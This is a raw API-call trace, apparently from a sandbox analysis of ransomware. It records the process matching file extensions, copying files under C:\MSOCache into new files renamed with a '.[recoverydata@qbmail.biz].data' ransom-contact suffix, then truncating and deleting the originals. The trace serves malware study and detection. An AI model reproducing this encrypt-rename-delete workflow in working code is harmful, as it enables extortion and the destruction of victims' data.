[0079.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.749] lstrlenW (lpString=".docx") returned 5 [0079.749] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.749] lstrlenW (lpString=".pdf") returned 4 [0079.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.749] lstrlenW (lpString=".xls") returned 4 [0079.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.749] lstrlenW (lpString=".xlsx") returned 5 [0079.749] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.749] lstrlenW (lpString=".ppt") returned 4 [0079.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.750] lstrlenW (lpString=".zip") returned 4 [0079.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.750] lstrlenW (lpString=".rar") returned 4 [0079.750] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString=".bz2") returned 4 [0079.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString=".7z") returned 3 [0079.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.750] lstrlenW (lpString=".dbf") returned 4 [0079.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.750] lstrlenW (lpString=".1cd") returned 4 [0079.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.750] lstrlenW (lpString=".jpg") returned 4 [0079.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.751] lstrlenW (lpString=".doc") returned 4 [0079.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.751] lstrlenW (lpString=".docx") returned 5 [0079.751] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.751] lstrlenW (lpString=".pdf") returned 4 [0079.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.751] lstrlenW (lpString=".xls") returned 4 [0079.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.751] lstrlenW (lpString=".xlsx") returned 5 [0079.751] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.751] lstrlenW (lpString=".ppt") returned 4 [0079.751] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.751] lstrlenW (lpString=".zip") returned 4 [0079.751] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.751] lstrlenW (lpString=".rar") returned 4 [0079.751] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.751] lstrlenW (lpString=".bz2") returned 4 [0079.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.752] lstrlenW (lpString=".7z") returned 3 [0079.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.752] lstrlenW (lpString=".dbf") returned 4 [0079.752] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.752] lstrlenW (lpString=".1cd") returned 4 [0079.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.752] lstrlenW (lpString=".jpg") returned 4 [0079.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.898] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0079.898] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0079.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0079.899] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=819) returned 1 [0079.899] CloseHandle (hObject=0x1c0) returned 1 [0079.899] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0079.899] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0079.899] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0079.899] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.899] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.899] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.900] GetLastError () returned 0x0 [0079.900] ReadFile (in: hFile=0x1c0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x333, lpOverlapped=0x0) returned 1 [0079.903] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x340, lpOverlapped=0x0) returned 1 [0079.905] ReadFile (in: hFile=0x1c0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.905] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0079.905] SetEndOfFile (hFile=0x200) returned 1 [0079.906] CloseHandle (hObject=0x200) returned 1 [0079.907] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.907] SetEndOfFile (hFile=0x1c0) returned 1 [0079.909] CloseHandle (hObject=0x1c0) returned 1 [0079.909] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.909] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0079.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.910] lstrlenW (lpString=".doc") returned 4 [0079.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.910] lstrlenW (lpString=".docx") returned 5 [0079.910] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0079.910] lstrlenW (lpString=".pdf") returned 4 [0079.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString=".xls") returned 4 [0079.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString=".xlsx") returned 5 [0079.911] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0079.911] lstrlenW (lpString=".ppt") returned 4 [0079.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.911] lstrlenW (lpString=".zip") returned 4 [0079.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.911] lstrlenW (lpString=".rar") returned 4 [0079.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString=".bz2") returned 4 [0079.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString=".7z") returned 3 [0079.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.911] lstrlenW (lpString=".dbf") returned 4 [0079.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.911] lstrlenW (lpString=".1cd") returned 4 [0079.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.912] lstrlenW (lpString=".jpg") returned 4 [0079.912] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.912] lstrlenW (lpString=".doc") returned 4 [0079.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString=".docx") returned 5 [0079.912] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0079.912] lstrlenW (lpString=".pdf") returned 4 [0079.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString=".xls") returned 4 [0079.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString=".xlsx") returned 5 [0079.912] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0079.912] lstrlenW (lpString=".ppt") returned 4 [0079.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.912] lstrlenW (lpString=".zip") returned 4 [0079.913] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.913] lstrlenW (lpString=".rar") returned 4 [0079.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.913] lstrlenW (lpString=".bz2") returned 4 [0079.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.913] lstrlenW (lpString=".7z") returned 3 [0079.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.913] lstrlenW (lpString=".dbf") returned 4 [0079.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.913] lstrlenW (lpString=".1cd") returned 4 [0079.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0079.913] lstrlenW (lpString=".jpg") returned 4 [0079.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.914] lstrcmpiW (lpString1=".chm", lpString2=".data") returned -1 [0079.914] lstrlenW (lpString="pss10r.chm") returned 10 [0079.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0082.197] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=27195) returned 1 [0082.198] CloseHandle (hObject=0x190) returned 1 [0082.200] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0082.200] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0082.201] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.201] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0082.202] GetLastError () returned 0x0 [0082.202] ReadFile (in: hFile=0x190, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0082.408] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0082.410] ReadFile (in: hFile=0x190, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0082.410] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0082.411] SetEndOfFile (hFile=0x1d4) returned 1 [0082.411] CloseHandle (hObject=0x1d4) returned 1 [0082.412] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.413] SetEndOfFile (hFile=0x190) returned 1 [0082.414] CloseHandle (hObject=0x190) returned 1 [0082.415] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.415] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0082.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.416] lstrlenW (lpString=".doc") returned 4 [0082.416] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0082.417] lstrlenW (lpString=".docx") returned 5 [0082.417] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0082.417] lstrlenW (lpString=".pdf") returned 4 [0082.417] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0082.417] lstrlenW (lpString=".xls") returned 4 [0082.417] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0082.417] lstrlenW (lpString=".xlsx") returned 5 [0082.417] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0082.417] lstrlenW (lpString=".ppt") returned 4 [0082.417] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0082.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.418] lstrlenW (lpString=".zip") returned 4 [0082.418] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0082.418] lstrlenW (lpString=".rar") returned 4 [0082.418] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0082.418] lstrlenW (lpString=".bz2") returned 4 [0082.418] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0082.418] lstrlenW (lpString=".7z") returned 3 [0082.418] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0082.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.418] lstrlenW (lpString=".dbf") returned 4 [0082.419] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0082.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.419] lstrlenW (lpString=".1cd") returned 4 [0082.419] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0082.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.419] lstrlenW (lpString=".jpg") returned 4 [0082.419] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0082.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.420] lstrlenW (lpString=".doc") returned 4 [0082.420] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0082.420] lstrlenW (lpString=".docx") returned 5 [0082.420] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0082.420] lstrlenW (lpString=".pdf") returned 4 [0082.420] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0082.420] lstrlenW (lpString=".xls") returned 4 [0082.420] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0082.420] lstrlenW (lpString=".xlsx") returned 5 [0082.421] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0082.421] lstrlenW (lpString=".ppt") returned 4 [0082.421] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0082.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.421] lstrlenW (lpString=".zip") returned 4 [0082.421] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0082.421] lstrlenW (lpString=".rar") returned 4 [0082.421] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0082.421] lstrlenW (lpString=".bz2") returned 4 [0082.421] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0082.421] lstrlenW (lpString=".7z") returned 3 [0082.422] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0082.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.422] lstrlenW (lpString=".dbf") returned 4 [0082.422] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0082.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.422] lstrlenW (lpString=".1cd") returned 4 [0082.422] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0082.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0082.423] lstrlenW (lpString=".jpg") returned 4 [0082.423] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0082.423] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.423] lstrlenW (lpString="AccessMUI.xml") returned 13 [0082.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.589] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1349) returned 1 [0082.589] CloseHandle (hObject=0x204) returned 1 [0082.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0082.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.589] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.589] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0082.815] GetLastError () returned 0x0 [0082.815] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x545, lpOverlapped=0x0) returned 1 [0082.817] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x550, lpOverlapped=0x0) returned 1 [0082.818] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0082.818] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xee, lpOverlapped=0x0) returned 1 [0082.818] SetEndOfFile (hFile=0x1d4) returned 1 [0082.818] CloseHandle (hObject=0x1d4) returned 1 [0082.821] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.821] SetEndOfFile (hFile=0x204) returned 1 [0082.822] CloseHandle (hObject=0x204) returned 1 [0082.822] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 